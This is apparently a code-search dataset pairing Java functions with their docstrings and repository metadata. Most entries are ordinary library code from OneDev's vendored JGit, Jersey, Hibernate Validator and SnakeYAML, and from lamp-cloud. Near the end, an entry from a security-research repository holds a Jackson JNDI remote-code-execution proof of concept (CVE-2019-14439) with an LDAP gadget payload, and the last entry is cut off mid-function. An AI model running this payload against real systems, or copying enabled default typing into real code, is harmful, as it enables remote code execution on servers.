|
MIT
|
public final void retainOnReset(Collection<RevFlag> flags) {
for (RevFlag f : flags)
retainOnReset(f);
}
|
Preserve a set of RevFlags during all {@code reset} methods.
<p>
Calling {@code retainOnReset(set)} avoids needing to pass the flags
during each {@code resetRetain()} invocation on this instance.
<p>
Clearing flags marked retainOnReset requires disposing of the flag with
{@code #disposeFlag(RevFlag)} or disposing of the entire RevWalk by
{@code #dispose()}.
@param flags
the flags to retain during all resets.
@since 3.6
|
retainOnReset
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
protected void assertNotStarted() {
if (isNotStarted())
return;
throw new IllegalStateException(JGitText.get().outputHasAlreadyBeenStarted);
}
|
Throws an exception if we have started producing output.
|
assertNotStarted
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
public ObjectWalk toObjectWalkWithSameObjects() {
ObjectWalk ow = new ObjectWalk(reader);
RevWalk rw = ow;
rw.objects = objects;
rw.freeFlags = freeFlags;
return ow;
}
|
Create and return an {@link org.eclipse.jgit.revwalk.ObjectWalk} using
the same objects.
<p>
Prior to using this method, the caller must reset this RevWalk to clean
any flags that were used during the last traversal.
<p>
The returned ObjectWalk uses the same ObjectReader, internal object pool,
and free RevFlags. Once the ObjectWalk is created, this RevWalk should
not be used anymore.
@return a new walk, using the exact same object pool.
|
toObjectWalkWithSameObjects
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/RevWalk.java
|
MIT
|
public static RevFilter create(RevFilter a, RevFilter b) {
if (a == ALL)
return b;
if (b == ALL)
return a;
return new Binary(a, b);
}
|
Create a filter with two filters, both of which must match.
@param a
first filter to test.
@param b
second filter to test.
@return a filter that must match both input filters.
|
create
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/filter/AndRevFilter.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/filter/AndRevFilter.java
|
MIT
|
public static RevFilter create(RevFilter a) {
return new NotRevFilter(a);
}
|
Create a filter that negates the result of another filter.
@param a
filter to negate.
@return a filter that does the reverse of <code>a</code>.
|
create
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/filter/NotRevFilter.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/filter/NotRevFilter.java
|
MIT
|
@Override
public boolean include(ObjectWalk walker, AnyObjectId o) {
return true;
}
|
Default filter that always returns true.
|
include
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/filter/ObjectFilter.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/filter/ObjectFilter.java
|
MIT
|
public static RevFilter create(RevFilter a, RevFilter b) {
if (a == ALL || b == ALL)
return ALL;
return new Binary(a, b);
}
|
Create a filter with two filters, one of which must match.
@param a
first filter to test.
@param b
second filter to test.
@return a filter that must match at least one input filter.
|
create
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/filter/OrRevFilter.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/filter/OrRevFilter.java
|
MIT
|
public String pattern() {
return patternText;
}
|
Get the pattern this filter uses.
@return the pattern this filter is applying to candidate strings.
|
pattern
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/filter/PatternMatchRevFilter.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/filter/PatternMatchRevFilter.java
|
MIT
|
public static boolean safe(String pattern) {
for (int i = 0; i < pattern.length(); i++) {
final char c = pattern.charAt(i);
switch (c) {
case '.':
case '?':
case '*':
case '+':
case '{':
case '}':
case '(':
case ')':
case '[':
case ']':
case '\\':
return false;
}
}
return true;
}
|
Can this string be safely handled by a substring filter?
@param pattern
the pattern text proposed by the user.
@return true if a substring filter can perform this pattern match; false
if {@link org.eclipse.jgit.revwalk.filter.PatternMatchRevFilter}
must be used instead.
|
safe
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/eclipse/jgit/revwalk/filter/SubStringRevFilter.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/eclipse/jgit/revwalk/filter/SubStringRevFilter.java
|
MIT
|
public static MediaType valueOf(HttpHeaderReader reader) throws ParseException {
// Skip any white space
reader.hasNext();
// Get the type
final String type = reader.nextToken().toString();
reader.nextSeparator('/');
// Get the subtype
final String subType = reader.nextToken().toString();
Map<String, String> params = null;
if (reader.hasNext()) {
params = HttpHeaderReader.readParameters(reader);
}
return new MediaType(type, subType, params);
}
|
Create a new {@link javax.ws.rs.core.MediaType} instance from a header reader.
@param reader header reader.
@return new {@code MediaType} instance.
@throws ParseException in case of a header parsing error.
|
valueOf
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/glassfish/jersey/message/internal/MediaTypeProvider.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/glassfish/jersey/message/internal/MediaTypeProvider.java
|
MIT
|
public static Object[] getParameterValues(List<ParamValueFactoryWithSource<?>> valueProviders, ContainerRequest request) {
final Object[] params = new Object[valueProviders.size()];
EntityDeserializer.pushParams(params);
try {
int entityProviderIndex = -1;
int index = 0;
for (ParamValueFactoryWithSource<?> paramValProvider : valueProviders) {
// entity provider has to be called last; see JERSEY-2642
if (paramValProvider.getSource().equals(Parameter.Source.ENTITY)) {
entityProviderIndex = index++;
continue;
}
params[index++] = paramValProvider.apply(request);
}
if (entityProviderIndex != -1) {
params[entityProviderIndex] = valueProviders.get(entityProviderIndex).apply(request);
}
return params;
} catch (WebApplicationException e) {
throw e;
} catch (MessageBodyProviderNotFoundException e) {
throw new NotSupportedException(e);
} catch (ProcessingException e) {
throw e;
} catch (RuntimeException e) {
if (e.getCause() instanceof WebApplicationException) {
throw (WebApplicationException) e.getCause();
}
throw new MappableException("Exception obtaining parameters", e);
} finally {
EntityDeserializer.popParams();
}
}
|
Get the array of parameter values.
@param valueProviders a list of value providers.
@return array of parameter values provided by the value providers.
|
getParameterValues
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/glassfish/jersey/server/spi/internal/ParameterValueHelper.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/glassfish/jersey/server/spi/internal/ParameterValueHelper.java
|
MIT
|
private <V> BeanValueContext<?, V> getValueContextForPropertyValidation(BaseBeanValidationContext<?> validationContext, PathImpl propertyPath) {
Class<?> clazz = validationContext.getRootBeanClass();
BeanMetaData<?> beanMetaData = validationContext.getRootBeanMetaData();
Object value = validationContext.getRootBean();
PropertyMetaData propertyMetaData = null;
Iterator<Path.Node> propertyPathIter = propertyPath.iterator();
while ( propertyPathIter.hasNext() ) {
// cast is ok, since we are dealing with engine internal classes
NodeImpl propertyPathNode = (NodeImpl) propertyPathIter.next();
propertyMetaData = getBeanPropertyMetaData( beanMetaData, propertyPathNode );
// if the property is not the leaf property, we set up the context for the next iteration
if ( propertyPathIter.hasNext() ) {
if ( !propertyMetaData.isCascading() ) {
throw LOG.getInvalidPropertyPathException( validationContext.getRootBeanClass(), propertyPath.asString() );
}
// TODO which cascadable???
value = getCascadableValue( validationContext, value, propertyMetaData.getCascadables().iterator().next() );
if ( value == null ) {
throw LOG.getUnableToReachPropertyToValidateException( validationContext.getRootBean(), propertyPath );
}
clazz = value.getClass();
// if we are in the case of an iterable and we want to validate an element of this iterable, we have to get the
// element value
if ( propertyPathNode.isIterable() ) {
propertyPathNode = (NodeImpl) propertyPathIter.next();
if ( propertyPathNode.getIndex() != null ) {
value = ReflectionHelper.getIndexedValue( value, propertyPathNode.getIndex() );
}
else if ( propertyPathNode.getKey() != null ) {
value = ReflectionHelper.getMappedValue( value, propertyPathNode.getKey() );
}
else {
throw LOG.getPropertyPathMustProvideIndexOrMapKeyException();
}
if ( value == null ) {
throw LOG.getUnableToReachPropertyToValidateException( validationContext.getRootBean(), propertyPath );
}
clazz = value.getClass();
beanMetaData = beanMetaDataManager.getBeanMetaData( clazz );
propertyMetaData = getBeanPropertyMetaData( beanMetaData, propertyPathNode );
}
else {
beanMetaData = beanMetaDataManager.getBeanMetaData( clazz );
}
}
}
if ( propertyMetaData == null ) {
// should only happen if the property path is empty, which should never happen
throw LOG.getInvalidPropertyPathException( clazz, propertyPath.asString() );
}
propertyPath.removeLeafNode();
return ValueContexts.getLocalExecutionContextForBean( validatorScopedContext.getParameterNameProvider(), value, beanMetaData, propertyPath );
}
|
Returns a value context pointing to the given property path relative to the specified root class for a given
value.
@param validationContext The validation context.
@param propertyPath The property path for which constraints have to be collected.
@return Returns an instance of {@code ValueContext} which describes the local validation context associated to
the given property path.
|
getValueContextForPropertyValidation
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/hibernate/validator/internal/engine/ValidatorImpl.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/hibernate/validator/internal/engine/ValidatorImpl.java
|
MIT
|
public void add(ConstrainedElement constrainedElement) {
/*
* Make sure child annotation can override parent annotation with same type
*/
for (MetaConstraint<?> constraint: adaptConstraints(constrainedElement, constrainedElement.getConstraints())) {
if (!directConstraints.stream()
.filter(it->it.getDescriptor().getAnnotationType() == constraint.getDescriptor().getAnnotationType())
.findAny().isPresent()) {
directConstraints.add(constraint);
}
}
// directConstraints.addAll( adaptConstraints( constrainedElement, constrainedElement.getConstraints() ) );
containerElementsConstraints.addAll( adaptConstraints( constrainedElement, constrainedElement.getTypeArgumentConstraints() ) );
isCascading = isCascading || constrainedElement.getCascadingMetaDataBuilder().isMarkedForCascadingOnAnnotatedObjectOrContainerElements();
}
|
Adds the given element to this builder. It must be checked with
{@link #accepts(ConstrainedElement)} before, whether this is allowed or
not.
@param constrainedElement The element to add.
|
add
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/hibernate/validator/internal/metadata/aggregated/MetaDataBuilder.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/hibernate/validator/internal/metadata/aggregated/MetaDataBuilder.java
|
MIT
|
protected Set<MetaConstraint<?>> adaptConstraints(ConstrainedElement constrainedElement, Set<MetaConstraint<?>> constraints) {
return constraints;
}
|
Allows specific sub-classes to customize the retrieved constraints.
|
adaptConstraints
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/hibernate/validator/internal/metadata/aggregated/MetaDataBuilder.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/hibernate/validator/internal/metadata/aggregated/MetaDataBuilder.java
|
MIT
|
private ConstraintOrigin definedIn(Class<?> rootClass, Class<?> hierarchyClass) {
if ( hierarchyClass.equals( rootClass ) ) {
return ConstraintOrigin.DEFINED_LOCALLY;
}
else {
return ConstraintOrigin.DEFINED_IN_HIERARCHY;
}
}
|
@param rootClass The root class. That is the class for which we currently
create a {@code BeanMetaData}
@param hierarchyClass The class on which the current constraint is defined on
@return Returns {@code ConstraintOrigin.DEFINED_LOCALLY} if the
constraint was defined on the root bean,
{@code ConstraintOrigin.DEFINED_IN_HIERARCHY} otherwise.
|
definedIn
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/hibernate/validator/internal/metadata/aggregated/MetaDataBuilder.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/hibernate/validator/internal/metadata/aggregated/MetaDataBuilder.java
|
MIT
|
private static ValueExtractionPathNode getValueExtractionPath(List<ContainerClassTypeParameterAndExtractor> valueExtractionPath) {
switch ( valueExtractionPath.size() ) {
case 0: return null;
case 1: return new SingleValueExtractionPathNode( valueExtractionPath.iterator().next() );
default: return new LinkedValueExtractionPathNode( null, valueExtractionPath );
}
}
|
@param constraintDescriptor The constraint descriptor for this constraint
@param location meta data about constraint placement
@param valueExtractionPath the potential {@link ValueExtractor}s used to extract the value to validate
@param validatedValueType the type of the validated element
|
getValueExtractionPath
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/hibernate/validator/internal/metadata/core/MetaConstraint.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/hibernate/validator/internal/metadata/core/MetaConstraint.java
|
MIT
|
public boolean checkData() {
// If there are more documents available?
return composer.checkNode();
}
|
Check if more documents available
@return true when there are more YAML documents in the stream
|
checkData
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
public Object getData() throws NoSuchElementException {
// Construct and return the next document.
if (!composer.checkNode()) {
throw new NoSuchElementException("No document is available.");
}
Node node = composer.getNode();
if (rootTag != null) {
node.setTag(rootTag);
}
return constructDocument(node);
}
|
Construct and return the next document
@return constructed instance
|
getData
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
public Object getSingleData(Class<?> type) {
// Ensure that the stream contains a single document and construct it
final Node node = composer.getSingleNode();
if (node != null && !Tag.NULL.equals(node.getTag())) {
if (Object.class != type) {
node.setTag(new Tag(type));
} else if (rootTag != null) {
node.setTag(rootTag);
}
return constructDocument(node);
} else {
Construct construct = yamlConstructors.get(Tag.NULL);
return construct.construct(node);
}
}
|
Ensure that the stream contains a single document and construct it
@param type the class of the instance being created
@return constructed instance
@throws ComposerException in case there are more documents in the stream
|
getSingleData
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected final Object constructDocument(Node node) {
try {
Object data = constructObject(node);
fillRecursive();
return data;
} catch (RuntimeException e) {
if (wrappedToRootException && !(e instanceof YAMLException)) {
throw new YAMLException(e);
} else {
throw e;
}
} finally {
// clean up resources
constructedObjects.clear();
recursiveObjects.clear();
}
}
|
Construct complete YAML document. Call the second step in case of recursive structures. At the
end cleans all the state.
@param node root Node
@return Java instance
|
constructDocument
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
private void fillRecursive() {
if (!maps2fill.isEmpty()) {
for (RecursiveTuple<Map<Object, Object>, RecursiveTuple<Object, Object>> entry : maps2fill) {
RecursiveTuple<Object, Object> key_value = entry._2();
entry._1().put(key_value._1(), key_value._2());
}
maps2fill.clear();
}
if (!sets2fill.isEmpty()) {
for (RecursiveTuple<Set<Object>, Object> value : sets2fill) {
value._1().add(value._2());
}
sets2fill.clear();
}
}
|
Fill the recursive structures and clean the internal collections
|
fillRecursive
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected Object constructObject(Node node) {
if (constructedObjects.containsKey(node)) {
return constructedObjects.get(node);
}
return constructObjectNoCheck(node);
}
|
Construct object from the specified Node. Return existing instance if the node is already
constructed.
@param node Node to be constructed
@return Java instance
|
constructObject
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected Object constructObjectNoCheck(Node node) {
if (recursiveObjects.contains(node)) {
throw new ConstructorException(null, null, "found unconstructable recursive node",
node.getStartMark());
}
recursiveObjects.add(node);
Construct constructor = getConstructor(node);
Object data = (constructedObjects.containsKey(node)) ? constructedObjects.get(node)
: constructor.construct(node);
finalizeConstruction(node, data);
constructedObjects.put(node, data);
recursiveObjects.remove(node);
if (node.isTwoStepsConstruction()) {
constructor.construct2ndStep(node, data);
}
return data;
}
|
Construct object from the specified Node without the check if it was already created.
@param node - the source
@return constructed instance
|
constructObjectNoCheck
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected Construct getConstructor(Node node) {
if (node.useClassConstructor()) {
return yamlClassConstructors.get(node.getNodeId());
} else {
Tag tag = node.getTag();
Construct constructor = yamlConstructors.get(tag);
if (constructor == null) {
for (String prefix : yamlMultiConstructors.keySet()) {
if (tag.startsWith(prefix)) {
return yamlMultiConstructors.get(prefix);
}
}
return yamlConstructors.get(null);
}
return constructor;
}
}
|
Get the constructor to construct the Node. For implicit tags if the runtime class is known a
dedicated Construct implementation is used. Otherwise, the constructor is chosen by the tag.
@param node {@link Node} to construct an instance from
@return {@link Construct} implementation for the specified node
|
getConstructor
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected List<? extends Object> constructSequence(SequenceNode node) {
List<Object> result = newList(node);
constructSequenceStep2(node, result);
return result;
}
|
Create List and fill it with data
@param node - the source
@return filled List
|
constructSequence
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected Set<? extends Object> constructSet(SequenceNode node) {
Set<Object> result = newSet(node);
constructSequenceStep2(node, result);
return result;
}
|
create Set from sequence
@param node - sequence
@return constructed Set
|
constructSet
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected Object constructArray(SequenceNode node) {
return constructArrayStep2(node, createArray(node.getType(), node.getValue().size()));
}
|
Create array from sequence
@param node - sequence
@return constructed array
|
constructArray
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected void constructSequenceStep2(SequenceNode node, Collection<Object> collection) {
for (Node child : node.getValue()) {
collection.add(constructObject(child));
}
}
|
Fill the provided collection with the data from the Node
@param node - the source
@param collection - data to fill
|
constructSequenceStep2
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected Object constructArrayStep2(SequenceNode node, Object array) {
final Class<?> componentType = node.getType().getComponentType();
int index = 0;
for (Node child : node.getValue()) {
// Handle multi-dimensional arrays...
if (child.getType() == Object.class) {
child.setType(componentType);
}
final Object value = constructObject(child);
if (componentType.isPrimitive()) {
// Null values are disallowed for primitives
if (value == null) {
throw new NullPointerException("Unable to construct element value for " + child);
}
// Primitive arrays require quite a lot of work.
if (byte.class.equals(componentType)) {
Array.setByte(array, index, ((Number) value).byteValue());
} else if (short.class.equals(componentType)) {
Array.setShort(array, index, ((Number) value).shortValue());
} else if (int.class.equals(componentType)) {
Array.setInt(array, index, ((Number) value).intValue());
} else if (long.class.equals(componentType)) {
Array.setLong(array, index, ((Number) value).longValue());
} else if (float.class.equals(componentType)) {
Array.setFloat(array, index, ((Number) value).floatValue());
} else if (double.class.equals(componentType)) {
Array.setDouble(array, index, ((Number) value).doubleValue());
} else if (char.class.equals(componentType)) {
Array.setChar(array, index, ((Character) value).charValue());
} else if (boolean.class.equals(componentType)) {
Array.setBoolean(array, index, ((Boolean) value).booleanValue());
} else {
throw new YAMLException("unexpected primitive type");
}
} else {
// Non-primitive arrays can simply be assigned:
Array.set(array, index, value);
}
++index;
}
return array;
}
|
Fill array from node
@param node - the source
@param array - the destination
@return filled array
|
constructArrayStep2
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected Set<Object> constructSet(MappingNode node) {
final Set<Object> set = newSet(node);
constructSet2ndStep(node, set);
return set;
}
|
Create Set from mapping
@param node - mapping
@return constructed Set
|
constructSet
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected Map<Object, Object> constructMapping(MappingNode node) {
final Map<Object, Object> mapping = newMap(node);
constructMapping2ndStep(node, mapping);
return mapping;
}
|
Create Map from mapping
@param node - mapping
@return constructed Map
|
constructMapping
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/constructor/BaseConstructor.java
|
MIT
|
protected MappingNode representJavaBean(Set<Property> properties, Object javaBean) {
List<NodeTuple> value = new ArrayList<NodeTuple>(properties.size());
Tag tag;
Tag customTag = classTags.get(javaBean.getClass());
tag = customTag != null ? customTag : new Tag("!" + javaBean.getClass().getSimpleName());
// flow style will be chosen by BaseRepresenter
MappingNode node = new MappingNode(tag, value, FlowStyle.AUTO);
representedObjects.put(javaBean, node);
DumperOptions.FlowStyle bestStyle = FlowStyle.FLOW;
for (Property property : properties) {
Object memberValue = property.get(javaBean);
Tag customPropertyTag = memberValue == null ? null : classTags.get(memberValue.getClass());
NodeTuple tuple =
representJavaBeanProperty(javaBean, property, memberValue, customPropertyTag);
if (tuple == null) {
continue;
}
if (!((ScalarNode) tuple.getKeyNode()).isPlain()) {
bestStyle = FlowStyle.BLOCK;
}
Node nodeValue = tuple.getValueNode();
if (!(nodeValue instanceof ScalarNode && ((ScalarNode) nodeValue).isPlain())) {
bestStyle = FlowStyle.BLOCK;
}
value.add(tuple);
}
if (defaultFlowStyle != FlowStyle.AUTO) {
node.setFlowStyle(defaultFlowStyle);
} else {
node.setFlowStyle(bestStyle);
}
return node;
}
|
Tag logic: - explicit root tag is set in serializer - if there is a predefined class tag it is
used - a global tag with class name is always used as tag. The JavaBean parent of the specified
JavaBean may set another tag (tag:yaml.org,2002:map) when the property class is the same as
runtime class
@param properties JavaBean getters
@param javaBean instance for Node
@return Node to get serialized
|
representJavaBean
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/representer/Representer.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/representer/Representer.java
|
MIT
|
protected NodeTuple representJavaBeanProperty(Object javaBean, Property property,
Object propertyValue, Tag customTag) {
ScalarNode nodeKey = (ScalarNode) representData(property.getName());
// the first occurrence of the node must keep the tag
boolean hasAlias = this.representedObjects.containsKey(propertyValue);
Node nodeValue = representData(propertyValue);
if (propertyValue != null && !hasAlias) {
NodeId nodeId = nodeValue.getNodeId();
if (customTag == null) {
if (nodeId == NodeId.scalar) {
// generic Enum requires the full tag
if (property.getType() != java.lang.Enum.class) {
if (propertyValue instanceof Enum<?>) {
nodeValue.setTag(Tag.STR);
}
}
} else {
if (nodeId == NodeId.mapping) {
if (property.getType() == propertyValue.getClass()) {
if (!(propertyValue instanceof Map<?, ?>)) {
if (!nodeValue.getTag().equals(Tag.SET)) {
nodeValue.setTag(Tag.MAP);
}
}
}
}
checkGlobalTag(property, nodeValue, propertyValue);
}
}
}
return new NodeTuple(nodeKey, nodeValue);
}
|
Represent one JavaBean property.
@param javaBean - the instance to be represented
@param property - the property of the instance
@param propertyValue - value to be represented
@param customTag - user defined Tag
@return NodeTuple to be used in a MappingNode. Return null to skip the property
|
representJavaBeanProperty
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/representer/Representer.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/representer/Representer.java
|
MIT
|
protected Set<Property> getProperties(Class<? extends Object> type) {
if (typeDefinitions.containsKey(type)) {
return typeDefinitions.get(type).getProperties();
}
return getPropertyUtils().getProperties(type);
}
|
Get JavaBean properties to be serialised. The order is respected. This method may be overridden
to provide custom property selection or order.
@param type - JavaBean to inspect the properties
@return properties to serialise
|
getProperties
|
java
|
theonedev/onedev
|
server-core/src/main/java/org/yaml/snakeyaml/representer/Representer.java
|
https://github.com/theonedev/onedev/blob/master/server-core/src/main/java/org/yaml/snakeyaml/representer/Representer.java
|
MIT
|
@Override
public void injectService(Object instance) {
if (instance == null) {
return;
}
if (SpringUtils.getApplicationContext() == null) {
return;
}
Field[] fields = instance.getClass().getDeclaredFields();
for (Field field : fields) {
if (Modifier.isStatic(field.getModifiers())) {
continue;
}
Object fieldBean = null;
// with bean-id, bean could be found by both @Resource and @Autowired, or bean could only be found by @Autowired
if (AnnotationUtils.getAnnotation(field, Resource.class) != null) {
try {
Resource resource = AnnotationUtils.getAnnotation(field, Resource.class);
if (resource != null && resource.name() != null && resource.name().length() > 0) {
fieldBean = SpringUtils.getBean(resource.name());
} else {
fieldBean = SpringUtils.getBean(field.getName());
}
} catch (Exception e) {
}
if (fieldBean == null) {
fieldBean = SpringUtils.getBean(field.getType());
}
} else if (AnnotationUtils.getAnnotation(field, Autowired.class) != null) {
Qualifier qualifier = AnnotationUtils.getAnnotation(field, Qualifier.class);
if (qualifier != null && qualifier.value() != null && qualifier.value().length() > 0) {
fieldBean = SpringUtils.getBean(qualifier.value());
} else {
fieldBean = SpringUtils.getBean(field.getType());
}
}
if (fieldBean != null) {
field.setAccessible(true);
try {
field.set(instance, fieldBean);
} catch (IllegalArgumentException | IllegalAccessException e) {
logger.error(e.getMessage(), e);
}
}
}
}
|
inject action of spring
@param instance
|
injectService
|
java
|
dromara/lamp-cloud
|
lamp-base/lamp-base-biz/src/main/java/top/tangyh/lamp/msg/glue/impl/SpringGlueFactory.java
|
https://github.com/dromara/lamp-cloud/blob/master/lamp-base/lamp-base-biz/src/main/java/top/tangyh/lamp/msg/glue/impl/SpringGlueFactory.java
|
Apache-2.0
|
@Override
public boolean isSuccess(MsgResult result) {
SendSmsResponse sendResult = (SendSmsResponse) result.getResult();
return ArrayUtil.isNotEmpty(sendResult.getSendStatusSet()) && "Ok".equals(sendResult.getSendStatusSet()[0].getCode());
}
|
https://cloud.tencent.com/document/api/382/55981
@author zuihou
@date 2022/7/10 0010 17:40
|
isSuccess
|
java
|
dromara/lamp-cloud
|
lamp-base/lamp-base-biz/src/main/java/top/tangyh/lamp/msg/strategy/impl/sms/TencentSmsMsgStrategyImpl.java
|
https://github.com/dromara/lamp-cloud/blob/master/lamp-base/lamp-base-biz/src/main/java/top/tangyh/lamp/msg/strategy/impl/sms/TencentSmsMsgStrategyImpl.java
|
Apache-2.0
|
@Override
public Serializer getObjectSerializer ( Class<?> cl ) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
|
{@inheritDoc}
@see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
|
getObjectSerializer
|
java
|
threedr3am/learnjavabug
|
feature/src/main/java/com/threedr3am/bug/feature/HessianSerialization.java
|
https://github.com/threedr3am/learnjavabug/blob/master/feature/src/main/java/com/threedr3am/bug/feature/HessianSerialization.java
|
MIT
|
@Override
public Serializer getSerializer ( Class cl ) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
if ( serializer instanceof WriteReplaceSerializer) {
return UnsafeSerializer.create(cl);
}
return serializer;
}
|
{@inheritDoc}
@see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
|
getSerializer
|
java
|
threedr3am/learnjavabug
|
feature/src/main/java/com/threedr3am/bug/feature/HessianSerialization.java
|
https://github.com/threedr3am/learnjavabug/blob/master/feature/src/main/java/com/threedr3am/bug/feature/HessianSerialization.java
|
MIT
|
public static void main(String[] args) throws IOException {
String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://localhost:43658/Calc\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(json, Object.class);
mapper.writeValueAsString(o);
}
|
logback jndi rce jackson < 2.9.9.2
CVE-2019-14439
@author threedr3am
|
main
|
java
|
threedr3am/learnjavabug
|
jackson/src/main/java/com/threedr3am/bug/jackson/rce/LogbackJndi.java
|
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/rce/LogbackJndi.java
|
MIT
|
public static void main(String[] args) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
